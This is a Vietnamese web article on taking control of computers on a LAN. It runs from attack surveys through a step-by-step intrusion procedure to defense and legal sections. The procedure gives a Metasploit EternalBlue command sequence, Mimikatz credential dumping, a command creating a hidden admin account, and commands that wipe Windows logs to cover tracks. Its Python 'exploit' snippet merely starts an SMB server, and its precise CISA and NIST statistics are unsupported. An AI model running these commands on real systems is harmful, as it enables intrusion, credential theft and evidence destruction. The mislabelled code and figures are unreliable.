Cách Chiếm Quyền Điều Khiển Máy Tính Trong Mạng Lan

Nhập thông tin mạng của bạn để đánh giá mức độ dễ bị tấn công và nhận khuyến nghị bảo mật

Giới thiệu về tấn công mạng LAN

Mạng cục bộ (LAN) là môi trường lý tưởng cho các cuộc tấn công chiếm quyền điều khiển do tính chất tin cậy ngầm định giữa các thiết bị trong cùng mạng. Theo báo cáo của CISA (2023), 68% các vụ vi phạm bảo mật nội bộ bắt nguồn từ lỗ hổng trong cấu hình mạng LAN.

Các phương thức tấn công phổ biến

1. Tấn công qua giao thức SMB (Server Message Block)

• EternalBlue (MS17-010): Lỗ hổng trong dịch vụ SMB của Windows cho phép thực thi mã từ xa mà không cần xác thực
• Tấn công Relay SMB: Chặn và chuyển tiếp xác thực NTLM để leo thang đặc quyền
• Cấu hình chia sẻ không an toàn: 42% mạng doanh nghiệp (theo NIST 2022) có ít nhất một thư mục chia sẻ với quyền “Everyone: Full Control”

2. Khai thác dịch vụ từ xa

Dịch vụ	Lỗ hổng phổ biến	Mức độ nguy hiểm (1-10)	Tỷ lệ mạng bị ảnh hưởng
RDP (Remote Desktop)	BlueKeep (CVE-2019-0708)	9.8	37%
VNC (Virtual Network Computing)	Mật khẩu mặc định/yếu	8.2	22%
SSH (Secure Shell)	Cấu hình yếu (PasswordAuthentication yes)	7.5	18%
Telnet	Truyền mật khẩu rõ ràng	9.5	15%

3. Tấn công ARP Spoofing (Poisoning)

Kỹ thuật giả mạo địa chỉ MAC để chuyển hướng lưu lượng mạng:

1. Kẻ tấn công gửi gói ARP giả mạo đến máy nạn nhân
2. Thiết bị nạn nhân cập nhật bảng ARP với thông tin sai
3. Lưu lượng mạng được định tuyến qua máy kẻ tấn công
4. Chặn mật khẩu, session cookies, hoặc tiêm mã độc

Công cụ phổ biến: Ettercap, Cain & Abel, arpspoof

4. Khai thác lỗ hổng Zero-Day trong phần mềm quản lý mạng

Phần mềm như SolarWinds Orion (vụ tấn công Sunburst 2020) hoặc các giải pháp quản lý từ xa như TeamViewer, AnyDesk thường là mục tiêu:

• Tấn công chuỗi cung ứng (supply chain attack)
• Khai thác lỗ hổng trong cơ chế cập nhật tự động
• Sử dụng phần mềm gián điệp (spyware) tích hợp sẵn

Quy trình chiếm quyền điều khiển máy tính trong mạng LAN

Bước 1: Thu thập thông tin (Reconnaissance)

Sử dụng các công cụ quét mạng để xác định:

• Dải địa chỉ IP đang hoạt động (nmap -sn 192.168.1.0/24)
• Dịch vụ và phiên bản phần mềm (nmap -sV 192.168.1.1)
• Hệ điều hành (nmap -O 192.168.1.1)
• Thư mục chia sẻ (smbclient -L //192.168.1.1 -N)

Bước 2: Xác định lỗ hổng (Vulnerability Assessment)

Loại lỗ hổng	Công cụ phát hiện	Mức độ phổ biến
Dịch vụ không cập nhật	Nessus, OpenVAS	78%
Cấu hình mặc định không đổi	Nmap scripts	65%
Mật khẩu yếu/mặc định	Hydra, Medusa	53%
Lỗ hổng zero-day	Manual analysis	12%

Bước 3: Khai thác lỗ hổng (Exploitation)

Sử dụng các công cụ như Metasploit Framework để khai thác:

msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set LHOST 192.168.1.50
exploit
            

Hoặc sử dụng script Python với thư viện như pysmb hoặc impacket:

from impacket.smbserver import SMBSERVER

server = SMBSERVER('share', 'path/to/share')
server.set_smb2_support(True)
server.start()
            

Bước 4: Leo thang đặc quyền (Privilege Escalation)

Kỹ thuật phổ biến:

• Token Impersonation: Sử dụng token của quá trình có đặc quyền cao (Incognito, Mimikatz)
• Khai thác dịch vụ: Tìm dịch vụ chạy với SYSTEM privileges có lỗ hổng
• Kernel Exploits: Khai thác lỗ hổng trong nhân hệ điều hành
• Password Hash Dumping: Trích xuất hash mật khẩu từ LSAS (Mimikatz: sekurlsa::logonpasswords)

Bước 5: Duy trì quyền truy cập (Persistence)

Các kỹ thuật:

1. Tạo tài khoản ẩn trong hệ thống (net user hacker P@ssw0rd /add && net localgroup administrators hacker /add)
2. Thay đổi tệp khởi động (Startup folders, Registry Run keys)
3. Cài đặt backdoor (Netcat, Cobalt Strike)
4. Sử dụng WMI (Windows Management Instrumentation) để thực thi mã định kỳ

Bước 6: Che giấu dấu vết (Covering Tracks)

Xóa nhật ký và dấu vết:

• Xóa sự kiện trong Event Viewer (wevtutil cl System)
• Xóa tệp nhật ký (del C:\Windows\System32\LogFiles\*.log)
• Sử dụng rootkit để ẩn quá trình và tệp tin
• Thay đổi timestamp của tệp (touch -t 202001010000 file.exe)

Phòng chống tấn công mạng LAN

1. Nguyên tắc bảo mật cơ bản

• Nguyên tắc đặc quyền tối thiểu: Chỉ cấp quyền cần thiết cho người dùng
• Phân đoạn mạng: Tách biệt mạng thành các VLAN riêng biệt
• Cập nhật thường xuyên: Áp dụng bản vá bảo mật trong vòng 72 giờ
• Giám sát liên tục: Sử dụng SIEM (Security Information and Event Management)

2. Cấu hình bảo mật nâng cao

Biện pháp	Cách triển khai	Hiệu quả giảm rủi ro
Tường lửa nội bộ	Chặn lưu lượng không cần thiết giữa các phân đoạn mạng	85%
Xác thực đa yếu tố (MFA)	Áp dụng cho tất cả tài khoản quản trị và truy cập từ xa	95%
Mã hóa lưu lượng	Sử dụng IPsec hoặc VPN cho tất cả giao tiếp nội bộ	90%
Phát hiện xâm nhập (IDS)	Triển khai Snort/Suricata trên tất cả phân đoạn mạng	80%

3. Giám sát và phản ứng sự cố

Triển khai hệ thống:

• SIEM: Splunk, ELK Stack, IBM QRadar
• Endpoint Detection and Response (EDR): CrowdStrike, SentinelOne
• Network Traffic Analysis (NTA): Darktrace, Vectra
• Honeypot: Máy ảo giả lập để phát hiện tấn công

Quy trình phản ứng:

1. Phát hiện: Nhận cảnh báo từ hệ thống giám sát
2. Phân tích: Xác định phạm vi và phương thức tấn công
3. Ngăn chặn: Cô lập hệ thống bị xâm nhập
4. Khắc phục: Vá lỗ hổng và khôi phục hệ thống
5. Bài học: Cập nhật chính sách và đào tạo nhân viên

Pháp lý và đạo đức trong bảo mật mạng

Việc thử nghiệm xâm nhập vào mạng LAN phải tuân thủ:

• Luật pháp địa phương: Tại Việt Nam, Điều 288 Bộ luật Hình sự 2015 quy định về “Tội xâm nhập trái phép vào mạng máy tính”
• Chính sách của tổ chức: Phải có sự cho phép bằng văn bản
• Tiêu chuẩn đạo đức: Tuân thủ CEH (Certified Ethical Hacker) code of ethics

Hậu quả pháp lý khi vi phạm:

• Phạt tiền lên đến 1 tỷ đồng (Điều 288 BLHS)
• Phạt tù từ 1-7 năm tuỳ mức độ nghiêm trọng
• Trách nhiệm dân sự bồi thường thiệt hại

Công cụ và tài nguyên học tập

Để nghiên cứu hợp pháp về bảo mật mạng LAN:

• Phòng thí nghiệm ảo: Hack The Box, TryHackMe, VulnHub
• Chứng chỉ: OSCP, CEH, CISSP
• Tài liệu chính thức:
  • NIST SP 800-115 (Technical Guide to Information Security Testing)
  • NIST SP 800-40 (Patch Management Guide)

Nguồn tham khảo uy tín

Thông tin trong bài viết tham khảo từ:

CISA – Cyber Hygiene Services US-CERT – Securing Network Devices SANS Institute – Network Security Papers